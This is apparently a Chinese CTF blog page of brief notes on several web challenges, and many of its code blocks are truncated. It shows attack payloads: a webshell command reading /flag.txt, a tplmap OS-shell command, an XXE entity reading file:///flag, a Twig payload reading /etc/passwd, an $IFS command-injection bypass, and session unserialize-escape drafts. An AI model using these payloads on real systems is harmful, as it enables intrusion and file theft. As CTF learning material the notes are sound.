20220215
[MRCTF2020]Ezpop
show->__wakeup–>show->__tostring–>test->__get–>modifier->__invoke
1 |
|
[NPUCTF2020]ReadlezPHP
flag在env里,phpinfo中system禁了,但eval没禁,不知道为啥用不了。
1 |
|
[极客大挑战 2019]FinalSQL
布尔盲注
1 | import requests |
此博客已停用,请前往新的博客地址https://haorical.xyz
show->__wakeup–>show->__tostring–>test->__get–>modifier->__invoke
1 | <?php |
flag在env里,phpinfo中system禁了,但eval没禁,不知道为啥用不了。
1 | <?php |
布尔盲注
1 | import requests |
最近身体出了点状况,没时间也没精力刷了,先勉强做几个
xk0SzyKwfzw.php?Efa5BVG=cat /flag.txt
先本地测试,找到马后直接利用即可
1 | import os |
python3 dirsearch.py -u http://202.119.201.213:54334/ -e * –timeout=2 -t 1 -x 400,403,404,500,503,429
python3 .\dirsearch.py -u http://202.119.201.213:52980/ -e *
有点意外,直接tplmap可以拿到shell
python2 tplmap.py -u http://202.119.201.213:56276/loged?name --os-shell
1 | import base64 |
1 | import base64 |
好难的题,用了2个小时,反序列化逃逸,上一次做还是在选拔赛上
d0g3_f1ag.php
一些草稿
_SESSION[phpflag]=s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
"a:2:{s:7:"phpflag";s:39:"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s}
"a:2:{s:7:"";hhhhh";s:1:"1";s:39:"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s}
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
此时session数组
phpfalg ==> ;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
img ==> 无效路径
序列化为
"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:img:xxxxxxxxxxxxxxxxxxxxxxxxxx}"
过滤后
"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:img:xxxxxxxxxxxxxxxxxxxxxxxxxx}" 逃逸成功
反序列化,此时session数组
";s:48: ==> 1
img ==> L2QwZzNfZmxsbGxsbGFn
1 | <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///flag" >]> |
php模板注入
https://www.cnblogs.com/bmjoker/p/13508538.html
TWIG
1 | {{'/etc/passwd'|file_excerpt(1,30)}} |
传一个表示大数的unicode字符
https://www.compart.com/en/unicode/U+2187
我用的ↇ
先charset改成utf-8编码
扫目录robots.txt
访问fl4g.php
payload
num=1e10
&md5=0e215962017
&get_flag=tac$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
5.6版本php可以绕过,7.1的不行
1 | if (isset($_GET['num'])){ |
md5(0e215962017)正好也是0e开头,弱比较绕过
${IFS} $IFS$1都可以绕过空格
先fuzz,过滤了空格
1 | admin' # |
updatexml注入
1 | 查库 |